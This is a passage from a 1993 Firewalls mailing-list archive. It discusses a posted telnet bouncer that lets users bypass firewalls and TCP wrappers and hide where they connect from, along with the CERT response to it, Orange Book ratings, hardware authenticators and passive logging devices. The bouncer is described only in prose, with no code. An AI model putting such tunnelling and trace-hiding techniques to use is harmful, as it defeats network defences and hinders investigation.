behind our firewall. The program also permitted me to log > >into a workstation outside of our CERT network. > > >This program uses an non-privileged port (above 1023) which isn't a new > >technique. It is easy to find, install, and use by users and intruders. I have given this thing a cursory glance, but it looks like it can be effecive IFF it is running on a network connected host. If regular users can't log into your filewall (proxy) hosts, then it is of no use to them. Right?? If you set up a filewall where anybody can log into it, then IMHO you are asking for trouble as soon as you get a disgruntled employee or something. Heck this isn't any different than using inetd to run /bin/sh at at a higher port, except this code asks for the password, so it is more secure 8-). > > 4) allows user to bypass security implemented via network firewalls > > Unfortunate side effect of your setup. > > > 5) allows user to bypass TCP daemon wrappers > > A design criteria, but not for the reasons I assume your assuming :) > > > 6) allows user to hide tracks by looping through another site > > Another design criteria > > This is a small tool Ive developed or am developing to preserve my > inet privacy, this one just denies busy bodies the information of my > true origin. Sadly the side effect of this program in the wrong hands is to make tracking a cracker across the net next to impossible unless the netstat or some other service that allows looking at current tcp connections is available for use on a remote host. > At the moment Im working on some other stuff in a non > connected net which incorporates udp telnet as it were, with all the > usual things like udp/tcp bouncers from each server, des encryption > of data, bouncing off other machines echo ports if you have uid 0 to > do it and the option of a shell at each. Hmm, if this is implemented on a wide scale, so much for tracking a cracker without packet tracing across the whole net 8-(. It even kills ident/tap as well, so you can't get a username to check and possibly close down. -- John John Rouillard Special Projects Volunteer University of Massachusetts at Boston rouilj@cs.umb.edu (preferred) Boston, MA, (617) 287-6480 Consulting Systems Programmer Bose rouilj@bose.com Framingham, MA (508) 879-1916 x6483 =============================================================================== My employers don't acknowledge my existence much less my opinions. From Firewalls-Owner Mon Sep 13 15:00:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03789; Mon, 13 Sep 93 15:00:08 GMT Received: from relay1.pipex.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03760; Mon, 13 Sep 93 07:59:57 PDT Received: from Q.icl.co.uk by relay1.pipex.net with SMTP (PP) id <16226-0@relay1.pipex.net>; Mon, 13 Sep 1993 15:54:51 +0100 Received: from eccles.dsbc.icl.co.uk by Q.icl.co.uk (4.1/icl-2.6-server) id AA22784; Mon, 13 Sep 93 15:56:23 BST Received: from cerberus.dsbc.icl.co.uk on eccles.dsbc.icl.co.uk id AA00643; Mon, 13 Sep 93 15:54:37 BST Received: by cerberus.dsbc.icl.co.uk (4.1/rpa-1.3) id AA26203; Mon, 13 Sep 93 15:55:34 BST From: rpa@dsbc.icl.co.uk (Richard P Almeida) Message-Id: <9309131455.AA26203@cerberus.dsbc.icl.co.uk> Subject: Re: recently posted telnet code. To: rouilj@cs.umb.edu (John P. Rouillard) Date: Mon, 13 Sep 93 15:55:31 BST Cc: mark@blackplague.gmu.edu, mark@cheops.anu.edu.au, firewalls@GreatCircle.COM, first-reps@first.org, nsi-cert@nsipo.arc.nasa.gov Reply-To: rpa@ibex.co.uk In-Reply-To: <199309131412.AA20271@cs.umb.edu>; from "John P. Rouillard" at Sep 13, 93 10:12 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > In message <199309131120.AA00843@cairo.anu.edu.au>, Mark writes: > > > > Hi all, > > This was sent to me, I'll send it back to the same lists... > > > > >From: Edward DeHart > > >To: first-reps@first.org > > >The following message was posted to the Firewalls mailing list and to the > > >alt.sources netnews group. The message included the source to a program > > >that allows any user (not just root) to circumvent most network firewalls. - deleted Isnt this all a bit out of hand ? IMHO Anyone with a bit of C & Unix networking knowledge (ie most Unix crackers) could produce such a program with very little effort. Especially if you start with the Berkeley telnet code which implements the multiplexing between the input/output and output/input of the incoming and outgoing connections for you, all you need to write is the bit that listens on a port (which can come direct from the Berkeley inetd source...) > If you set up a filewall where anybody can log into it, then IMHO you > are asking for trouble as soon as you get a disgruntled employee or > something. Heck this isn't any different than using inetd to run > /bin/sh at at a higher port I agree. Regards Richard These are my opinions only. From Firewalls-Owner Mon Sep 13 15:05:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03838; Mon, 13 Sep 93 15:05:42 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03831; Mon, 13 Sep 93 08:05:36 PDT Message-Id: <9309131505.AA03831@mycroft.GreatCircle.COM> From: ches@research.att.com Date: Mon, 13 Sep 93 11:04:27 EDT To: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >pardon my ignorance, but if you do not use passwords, what do you use >for authentication? Something like secure ID? I apologize to all for being obtuse. We currently use a Securenet Key SNK004 hand-held authenticator (``dongle'', but it isn't, really). Many use the Secure ID. These hardware authenticators replace the password with something much more secure. I am furiously working to get the AT&T Smartcard and reader working, and getting the code released to do the same thing. Bill Cheswick Bell Labs From Firewalls-Owner Mon Sep 13 15:23:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03972; Mon, 13 Sep 93 15:23:17 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA03965; Mon, 13 Sep 93 08:23:04 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA06043; Mon, 13 Sep 93 11:20:20 -0400 Received: by cobalt.house.gov (AA02217); Mon, 13 Sep 93 10:24:07 -0700 Date: Mon, 13 Sep 93 10:24:07 -0700 From: Dorian Deane Message-Id: <9309131724.AA02217@cobalt.house.gov> To: firewalls@GreatCircle.COM Subject: *Brief* "OS question" summary Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Well, I _thought_ this was going to be brief. I tried, I really did, but as everyone seems to agree, it's a big question. My question, to summarize it as well, was best put by someone other than myself. Brian Lloyd said: > # read Mr. Deane's question to say, "in the experience of the people on this > # list, which versions of UNIX permit the administrator to create the most > # secure system possible?" I got enough thoughtful private replies that I feel obligated to post a summary. Warning: I have summarized, synthesized, editorialized, and omitted, so what you read here might not be exactly what you remember having said to me! I'd like this summary to be readable, instead of just an automated reflection of a conversation thread. However, I'll do my best not to actually contradict anyone's statements. The most popular answer was, "go with what you know." The reasons, I think, are fairly obvious to readers of this list so I won't go into it further. Another answer I liked was that Suns are a good choice because it is often a reference platform for public domain applications such as perl. I agree strongly with this not because it's the least ambiguous (buy Suns, young man), but because I've found it to be very true: almost anything you get these days has been ported to SunOS, while there are things I haven't even bothered trying to get to run on other platforms. The corporate attitude of the vendor can make a difference, too. Many replies pointed out that while companies like Sun are very good about addressing security problems, other vendors try to conceal problems so that only the crackers end up knowing what you should have been the first to know. At the risk of doing a disservice to many of the respondants, I will try to compress the rest into, "make do with what you've got," "use MLS or other trusted software," and "Don't use Unix." This last one had two flavors, both of which could provoke religious wars. (I'm trying to tread lightly here!) Unix is the most oft-attacked type of system, so use something else and avoid the risk of being one of the fish in the network barrel. The second flavor was, if your internal network is comprised of Unix machines, use something else as a firewall so that whatever breaks the firewall cannot march unimpeded into the rest of your domain. This last one makes sense to me, except where it contradicts the "go with what you know" philosophy. To be complete I must include Brent Chapman's reminder that, oh heck, I'll quote him directly: > > In particular, there are a couple of vendors who are the most common > subjects of CERT bulletins; everybody assumes that's because those > vendors are less secure than the others, when exactly the OPPOSITE is > probably true. > And lastly, opinions were mixed about the stability of Solaris. Some people agreed with my feeling, which is, "it's coming--might as well get it over with." I was curious to hear what all the veterans had to say about this issue, and I find it comforting to hear a consensus, even though the consensus is that there really isn't a single right answer. And to all of those who replied publicly or privately, thank you very much. The level of detail and time spent on many of the replies was impressive and extremely helpful. dorian From Firewalls-Owner Mon Sep 13 15:31:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04058; Mon, 13 Sep 93 15:31:12 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04051; Mon, 13 Sep 93 08:30:56 PDT Received: by terminus.cs.umb.edu id AA06849 (5.65c/IDA-1.4.4 for Firewalls@greatcircle.com); Mon, 13 Sep 1993 11:33:25 -0400 Date: Mon, 13 Sep 1993 11:33:25 -0400 From: "John B. Brown" Message-Id: <199309131533.AA06849@terminus.cs.umb.edu> To: Firewalls@GreatCircle.COM, brian@lloyd.com Subject: Re: Firewalls Digest V2 #163 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dear Mr. Lloyd, If the question Mr. Deane asked indeed is which out-of-the-box UNIX is the most secure, the answer would be the SysV-4.2 C2 unix. Are any others that secure? Shalom, JBB. From Firewalls-Owner Mon Sep 13 16:06:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04158; Mon, 13 Sep 93 16:06:26 GMT Received: from gatekeeper.glaxo.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04151; Mon, 13 Sep 93 09:06:02 PDT Received: by gatekeeper.glaxo.com (5.65/fma-120691); id AA11600; Mon, 13 Sep 93 12:08:29 -0400 Received: by ussg1o.glaxo.com (920330.SGI/920502.SGI) for @gatekeeper.glaxo.com:firewalls@GreatCircle.COM id AA12775; Mon, 13 Sep 93 12:07:39 -0400 Date: Mon, 13 Sep 93 12:07:39 -0400 From: dch21054@ussg1o.glaxo.com (D C Holt) Message-Id: <9309131607.AA12775@ussg1o.glaxo.com> To: firewalls@GreatCircle.COM Subject: Proxy gopher clients for Macs and PCs Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has anyone got native Mac or PC versions of gopher, mosaic, etc, which are proxy (SOCKS) smart? Thanks, Don Holt Glaxo, Inc. (919) 941-3460. From Firewalls-Owner Mon Sep 13 16:26:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04268; Mon, 13 Sep 93 16:26:34 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04261; Mon, 13 Sep 93 09:26:26 PDT Received: by azalea.tis.com; id AA05336; Mon, 13 Sep 93 12:27:58 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA03173; Mon, 13 Sep 93 12:28:18 EDT Received: by otter.TIS.COM (5.65/client) id AA10080; Mon, 13 Sep 93 12:28:13 -0400 From: mjr@TIS.COM Date: Mon, 13 Sep 93 12:28:13 -0400 Message-Id: <10080.9309131628@otter.TIS.COM> To: Firewalls@GreatCircle.COM, brian@lloyd.com, jbb@cs.umb.edu Subject: Re: Firewalls Digest V2 #163 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "John B. Brown" writes > > If the question Mr. Deane asked indeed is which >out-of-the-box UNIX is the most secure, the answer would >be the SysV-4.2 C2 unix. Are any others that secure? > I don't think this quite gets at the root issues. For example, there are B2 versions of UNIX out there(*) and other systems at various levels of evaluation. The Orange Book "rating" is important because it makes clear some of the system's capabilities, with respect to logging, trusted path, object re-use, etc. All of those things are extremely important for a multi-level system. *BUT* what's the origin of the expression "multi-level" in a context of operating system security? Multi-level security is where you want to have users and jobs running at different classification levels on the same box, and you want to prevent data from leaking from one classification level to another. That's a very different situation from your basic internet firewall, where you're trying to keep data from leaking out, or leaking in. Most of the functionality an Orange Book type system has for logging and so fort is useless for a firewall, unless your firewall has users on it, which I believe is a bad idea in the first place. I urge you not to think of the Orange Book ratings as indicating how "secure" a system is. That's misinterpreting them pretty badly. They indicate a level of functionality that must be present. At certain levels, they indicate a degree of testing the must be performed, and at still higher levels they indicate that you must be able to justify your design in terms of the security model you're attempting to provide. C2 functionality versus C2 evaluated is another big ------------- --------- distinction. Many vendors sell platforms with C2 functionality but unless it's been evaluated at C2, that doesn't mean that anyone has necessarily tested it to make sure it does what it purports to do. Not very impressive. I suspect most firewalls aren't multi-level. They're a single box. If you set a firewall up the way I (and others) advocate, there will be no non-administrative access to the box at all. In that case, the firewall is a "black box" device - you're trusting that you're not going to have to worry about keeping users from poking holes in your system because you got rid of them. Multi-level systems might play a role in a firewall between two sites where there is actual classified data. In that case, you can take advantage of the operating system's labelling to help enforce blocking data exchange. But before you can do that, you have to have an environment where stuff is labelled, or checking doesn't help. Throw actual classified data into the firewall pot and things get ugly in a hurry. mjr. (*TIS sells Trusted Xenix, which has been evaluated at B2 by NCSC) From Firewalls-Owner Mon Sep 13 16:28:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04284; Mon, 13 Sep 93 16:28:05 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04277; Mon, 13 Sep 93 09:27:57 PDT Message-Id: <9309131627.AA04277@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Mon Sep 13 12:29:18 EDT 1993 To: "John B. Brown" Cc: Firewalls@GreatCircle.COM, brian@lloyd.com Subject: Re: Firewalls Digest V2 #163 Date: Mon, 13 Sep 93 12:29:16 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dear Mr. Lloyd, If the question Mr. Deane asked indeed is which out-of-the-box UNIX is the most secure, the answer would be the SysV-4.2 C2 unix. Are any others that secure? But that isn't the right question; the right question is which system can be run most securely, with comparatively little effort. I'm not sure what you mean by `SysV-4.2 C2'. The Enhanced Security release of SVR4 was targeted at the B2+ level, not C2. Most of the so- called C2 systems are no such thing; rather, they're ``equipped with C2 features'', and have *not* been evaluated or tested. Nor are most C2 features of tremendously much use in dealing with network intrusions; few such systems have Red Book C2 features. I can't stress too heavily the need to have independent parties auditing the implementation; it's too easy for developers to make mistake. Indeed, the real benefit of formal certification is the development *process* -- and that includes the interactions with the NCSC staff. My own opinion is that the SVR4 Enhanced Security stuff has not yet met the test of time. There's been too little real-world experience with it to say just how secure it really is. And many of the features are not relevant to a firewall machine, as opposed to a multiuser machine. --Steve Bellovin From Firewalls-Owner Mon Sep 13 16:56:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04499; Mon, 13 Sep 93 16:56:31 GMT Received: from sun2.nsfnet-relay.ac.uk by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA04492; Mon, 13 Sep 93 09:55:53 PDT Via: uk.co.ggr; Mon, 13 Sep 1993 17:58:13 +0100 Received: from uk0x04.UUCP by uk0x08.ggr.co.uk; Mon, 13 Sep 93 17:59:09 BST Received: from uk0x04.ggr.co.uk by mailhub.ggr.co.uk (5.59/imd-070593) id AA06612; Mon, 13 Sep 93 17:51:28 BST Received: by uk0x04.ggr.co.uk (5.0/imd110593) id AA04817; Mon, 13 Sep 93 17:55:16 BST Date: Mon, 13 Sep 1993 17:52:12 +0100 (BST) From: Ian Dunkin Subject: Re: Proxy gopher clients for Macs and PCs To: D C Holt Cc: firewalls@GreatCircle.COM In-Reply-To: <9309131607.AA12775@ussg1o.glaxo.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 282 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Has anyone got native Mac or PC versions of gopher, mosaic, etc, > which are proxy (SOCKS) smart? Don, Not the last time, I looked. But I'll post a Q to the firewalls list; trouble with that is that a lot of SOCKS users don't read that list, but it's worth a try.. I. From Firewalls-Owner Mon Sep 13 18:41:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA05118; Mon, 13 Sep 93 18:41:40 GMT Received: from why.cert.org by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA05103; Mon, 13 Sep 93 11:41:26 PDT Received: by why.cert.org (4.1/2.3) id AA05349; Mon, 13 Sep 93 14:45:26 EDT Date: Mon, 13 Sep 93 14:45:26 EDT From: Edward DeHart To: mark@cheops.anu.edu.au Cc: firewalls@GreatCircle.COM, first-reps@first.org, nsi-cert@nsipo.arc.nasa.gov Organization: Computer Emergency Response Team : 412-268-7090 Subject: Re: recently posted telnet code. Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A message posted to the Firewalls mailing list contained C source for a general purpose telnet bouncer. I forwarded this message with additional comments to a private mailing list of computer security response teams. The message was not intended to be reposted to other mailing lists. Unfortunately, my e-mail message was redistributed to the Firewalls mailing list with additional comments added to it. Mark writes: >> I did test the program by running it on my workstation. Using a computer >> located at another facility, I was able to bypass our security and telnet >> into my workstation. The program permitted me to log into other CERT systems >> hiding behind our firewall. The program also permitted me to log into a >> workstation outside of our CERT network. > Hmm interesting. I was under the impression you guys used a form of > des encryption internally. Are you seriously saying a little program like > that is all thats needed to wander in? We have several layers of security. Encrypting files and e-mail, packet filtering, and TCP wrappers are just a few ways we secure our information. Most of our effort goes into protecting ourself from attacks from hosts out of our control. No one at CERT would run the telnet bouncer program nor would anyone intentionally create a security hole. John P. Rouillard writes: > IMHO Anyone with a bit of C & Unix networking knowledge (ie most Unix > crackers) could produce such a program with very little effort. The intent of my message was to make sure computer security response teams knew about the posted program due to its wide distribution and what a malicious person could do with the program. Thank you, Ed DeHart Computer Emergency Response Team Internet E-mail: cert@cert.org Telephone: 412-268-7090 24-hour hotline: CERT personnel answer 8:30a.m. to 5:00p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. From Firewalls-Owner Mon Sep 13 18:47:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA05158; Mon, 13 Sep 93 18:47:57 GMT Received: from aun.uninett.no by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA05147; Mon, 13 Sep 93 11:47:42 PDT X400-Received: by mta aun.uninett.no in /PRMD=uninett/ADMD= /C=no/; Relayed; Mon, 13 Sep 1993 20:49:22 +0200 X400-Received: by /PRMD=dep/ADMD=telemax/C=no/; Relayed; Mon, 13 Sep 1993 20:50:17 +0200 X400-Received: by /PRMD=dep/ADMD=TELEMAX/C=NO/; Relayed; Mon, 13 Sep 1993 20:50:10 +0200 Date: Mon, 13 Sep 1993 20:50:10 +0200 X400-Originator: Erik.Jensen@ft.dep.telemax.no X400-Recipients: non-disclosure:; X400-Mts-Identifier: [/PRMD=dep/ADMD=TELEMAX/C=NO/;1984 93/09/13 20:50] X400-Content-Type: P2-1984 (2) From: Erik.Jensen@ft.dep.telemax.no Message-Id: <"1984 93/09/13 20:50*/G=Erik/S=Jensen/O=ft/PRMD=dep/ADMD=TELEMAX/C=NO/"@MHS> To: Firewalls@GreatCircle.COM (Non Receipt Notification Requested) Cc: gunnar.gullbekk@ft.dep.telemax.no (Non Receipt Notification Requested), morten.rennesund@ft.dep.telemax.no (Non Receipt Notification Requested) Subject: Logging devices Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi all, I have a question or three regarding logging devices. As far I can tell, there are generally three logging devices that can be used on a given net for capturing and storing all activity on that net. 1. Some kind of RMON Agent ala HP LanProbe or Sniffer probe/ethernet meter, that can decode most of the activity on an network, and report the activity on the net to a netcenter. Pro: The RMON agent is passive - can only be operated on through SNMP from an predefined SNMP host (?). It's not an active IP host. Con: a) Got to have separate lines for the transfer of logging data, if it is not to be sent over lines that can/have been compromised 2. A PC with a network analysis package on, ala Sniffer or LANWatch. Pro: Passive net component - can't be externaly operated on. Logging data can be sent to a file store (WORM, DAT) directly attached to the PC Con: Lot's of sneaker activity - can't remote monitor the logging PC's 3. Some UNIX box with a minimum of processes running on it, or just the setup for the logging software. Pro: Lots of applications and as discussed on this list in the "which UNIX is best" tread, a known environment for most netadministrators. Same setup for transfer and storing logging data as for an PC. Con: Operates as an active IP host and can be externally operated on. Am I overlooking something basic here or what ? Any comments welcome... Regards Erik Jensen ************************************************************ Seksjon Data, Avdeling Informasjonsteknologi Statens forvaltningstjeneste PB 8129 Dep | Tlf: +47 22 34 96 73 0032 Oslo | Fax: +47 22 34 27 46 Norway | P.S: +47 09 69 03 35 X.400: G=erik;S=jensen;O=ft;P=dep;A=telemax;C=no Internet: erik.jensen@ft.dep.telemax.no Signature length is inversely proportional to intelligence ************************************************************* From Firewalls-Owner Mon Sep 13 19:14:09 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05318; Mon, 13 Sep 93 19:14:09 GMT Received: from sgigate.sgi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05311; Mon, 13 Sep 93 12:14:00 PDT Received: from yeager.corp.sgi.com by sgigate.sgi.com via SMTP (920330.SGI/920502.SGI) id AA28084; Mon, 13 Sep 93 12:06:02 -0700 Received: by yeager.corp.sgi.com (930416.SGI/930416.SGI) for @sgigate.sgi.com:firewalls@GreatCircle.COM id AA07238; Mon, 13 Sep 93 12:06:00 -0700 From: lear@yeager.corp.sgi.com (Eliot Lear) Message-Id: <9309131205.ZM7236@yeager.corp.sgi.com> Date: Mon, 13 Sep 1993 12:05:58 -0700 In-Reply-To: ches@research.att.com "" (Sep 13, 11:04am) References: <9309131505.AA03831@mycroft.GreatCircle.COM> X-Mailer: Z-Mail (3.0B.0 25aug93 MediaMail) To: ches@research.att.com, firewalls@GreatCircle.COM Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk SGI's new version of the operating system (5.1 and later) allows for a relatively seemless user interface for products such as Secure ID. Here's some of the relevant man page text: SITECHECK= Use an external program to authenticate users instead of using the excrypted password field. This allows sites to implement other means of authentication, such as card keys, biometrics, etc. The program is invoked with user name as the first argument, and remote hostname and username, if applicable. The action taken depend on exit status, as follows: 0 - success: user was authenticated, log in. 1 - failure; exit login. 2 - failure; try again (don't exit login). other - use normal UNIX authentication. If authentication fails, the program may chose to indicate either exit code 1 or 2, as appropriate. If the program is not owned by root, is writable by others, or cannot be executed, normal password Page 2 login(1) login(1) authentication is performed. It is recommended that the program be given a mode of 500. WARNING! Because this option has the potential to defeat normal IRIX security, any program used in this way must be designed and tested very carefully. -- Eliot Lear [lear@sgi.com] From Firewalls-Owner Mon Sep 13 20:08:19 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05483; Mon, 13 Sep 93 20:08:19 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05476; Mon, 13 Sep 93 13:08:11 PDT Received: by azalea.tis.com; id AA08032; Mon, 13 Sep 93 16:09:10 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA12833; Mon, 13 Sep 93 16:10:12 EDT Received: by otter.TIS.COM (5.65/client) id AA10591; Mon, 13 Sep 93 16:10:10 -0400 From: mjr@TIS.COM Date: Mon, 13 Sep 93 16:10:10 -0400 Message-Id: <10591.9309132010@otter.TIS.COM> To: ches@research.att.com, firewalls@GreatCircle.COM, lear@yeager.corp.sgi.com Subject: Authentication stuff - Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >SGI's new version of the operating system (5.1 and later) allows >for a relatively seemless user interface for products such as >Secure ID. Here's some of the relevant man page text: > > SITECHECK= Use an external program to authenticate users instead > of using the excrypted password field. This allows > sites to implement other means of authentication, > such as card keys, biometrics, etc. This is Good Stuff. It's really good to see UNIX vendors taking this kind of thing seriously. I've recently been playing with integrating SecurID and S/Key and Digital Pathways and passwords, and... It's a pain in the neck. Everyone has a different API and options and installation requirements. It's a swamp. As part of the TIS firewall toolkit, I've developed a third-party authentication server. Basically, it's a chunk of middleware that sits on top of SecurID/S/Key/Digital Pathways, etc, and allows you to maintain a database of users with a possibly different authentication protocol attached to each user. It uses a real simple challenge/response protocol, [from the man page]: authsrv's basic authentication protocol uses ASCII text, with newline indicating the end of a line. When a client connects to the authentication server, it issues a request to authenticate a user: authorize userID To which the server will respond with one of two options: password challenge challengestring The client program should prompt the user for a (non- echoing) password if it recieves the "password" response, or it should prompt the user with the returned challenge string if it recieves the "challenge" response. The client program should forward the user's password or challenge response in the form of: response responsestring to which the server will either respond "ok" or with an arbitrary text string that should be returned to the user. In some cases, the server may respond with "ok" followed by additional text on the same line. In this case, the addi- tional text may contain information of interest to the user (e.g.: "ok Change your password soon") Another issue is making it work on a network. This is a VERY hairy problem. There's a lot of sticky issues, of preventing spoofing and tapping, and so on. This is not an especially knotty problem for a firewall, since you will generally want to run your authentication server on the bastion host, and perhaps occassionally connect to it for administrative purposes from a single node "inside". mjr. From Firewalls-Owner Mon Sep 13 22:19:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05799; Mon, 13 Sep 93 22:19:33 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05792; Mon, 13 Sep 93 15:19:26 PDT Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AB21839; Mon, 13 Sep 93 18:22:04 -0400 Received: from racerx.UUCP by uucp4.uu.net with UUCP/RMAIL (queueing-rmail) id 182056.11926; Mon, 13 Sep 1993 18:20:56 EDT Received: from random-pc (ferd) by racerx (4.1/SMI-4.0) id AA08520; Mon, 13 Sep 93 16:05:44 CDT Date: Mon, 13 Sep 1993 15:57:32 CDT From: Ken Hardy Subject: Re: Logging devices (fwd) To: firewalls@GreatCircle.COM Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Con: Operates as an active IP host and can be externally operated on. One of the papers which I found through follwing this group describes a monitoring sytem in which the transmit pin has been cut (using AUI for the net interface?). Such a system can log to its heart's (or disks') content, but would be hard or impossible to compromise. I cannot think of anything that would not require a two-way conversation at the IP level. Sorry, I cannot find which paper. I thought one of Bill Cheswicks, but I don't see it in a quick scan through what I have. From Firewalls-Owner Mon Sep 13 23:06:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA06012; Mon, 13 Sep 93 23:06:55 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA06005; Mon, 13 Sep 93 16:06:48 PDT Message-Id: <9309132306.AA06005@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Mon Sep 13 19:07:20 EDT 1993 To: Ken Hardy Cc: firewalls@GreatCircle.COM Subject: Re: Logging devices (fwd) Date: Mon, 13 Sep 93 19:07:19 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Con: Operates as an active IP host and can be externally operated on. One of the papers which I found through follwing this group describes monitoring sytem in which the transmit pin has been cut (using AUI for the net interface?). Such a system can log to its heart's (or disks') content, but would be hard or impossible to compromise. I cannot think of anything that would not require a two-way conversation at the IP level. Sorry, I cannot find which paper. I thought one of Bill Cheswicks, but I don't see it in a quick scan through what I have. It's in ``There Be Dragons'', by me. And I can think of a few attacks to mount, but they're all fairly difficult. --Steve Bellovin From Firewalls-Owner Tue Sep 14 02:38:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07754; Tue, 14 Sep 93 08:32:48 GMT Received: from krypton.rivm.nl by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07747; Tue, 14 Sep 93 01:32:34 PDT Received: from avalon (avalon.rivm.nl) by krypton.rivm.nl with SMTP id AA12105 (5.65c/IDA-1.4.4 for ); Tue, 14 Sep 1993 10:35:14 +0200 Message-Id: <199309140835.AA12105@krypton.rivm.nl> Received: from ron.rivm.nl by avalon with SMTP (16.8/16.2) id AA06166; Tue, 14 Sep 93 10:35:58 +0200 X-Hatedfood: Brussels sprouts X-Mailer: Eudora 1.3.1 Date: Tue, 14 Sep 1993 10:37:27 +0100 To: Firewalls-Digest@GreatCircle.COM From: ron@rivm.nl (Ron Roozendaal) X-Sender: ron@131.224.11.37 Subject: Firewalls Digest V2 #168 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Nico, Misschien een goed idee om deze ook te archiveren op de Solar, zoals de internetkrant? Ron --------- Firewalls Digest Tuesday, 14 September 1993 Volume 02 : Number 168 In this issue: Authentication stuff - Re: Logging devices (fwd) Re: Logging devices (fwd) See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: mjr@TIS.COM Date: Mon, 13 Sep 93 16:10:10 -0400 Subject: Authentication stuff - >SGI's new version of the operating system (5.1 and later) allows >for a relatively seemless user interface for products such as >Secure ID. Here's some of the relevant man page text: > > SITECHECK= Use an external program to authenticate users instead > of using the excrypted password field. This allows > sites to implement other means of authentication, > such as card keys, biometrics, etc. This is Good Stuff. It's really good to see UNIX vendors taking this kind of thing seriously. I've recently been playing with integrating SecurID and S/Key and Digital Pathways and passwords, and... It's a pain in the neck. Everyone has a different API and options and installation requirements. It's a swamp. As part of the TIS firewall toolkit, I've developed a third-party authentication server. Basically, it's a chunk of middleware that sits on top of SecurID/S/Key/Digital Pathways, etc, and allows you to maintain a database of users with a possibly different authentication protocol attached to each user. It uses a real simple challenge/response protocol, [from the man page]: authsrv's basic authentication protocol uses ASCII text, with newline indicating the end of a line. When a client connects to the authentication server, it issues a request to authenticate a user: authorize userID To which the server will respond with one of two options: password challenge challengestring The client program should prompt the user for a (non- echoing) password if it recieves the "password" response, or it should prompt the user with the returned challenge string if it recieves the "challenge" response. The client program should forward the user's password or challenge response in the form of: response responsestring to which the server will either respond "ok" or with an arbitrary text string that should be returned to the user. In some cases, the server may respond with "ok" followed by additional text on the same line. In this case, the addi- tional text may contain information of interest to the user (e.g.: "ok Change your password soon") Another issue is making it work on a network. This is a 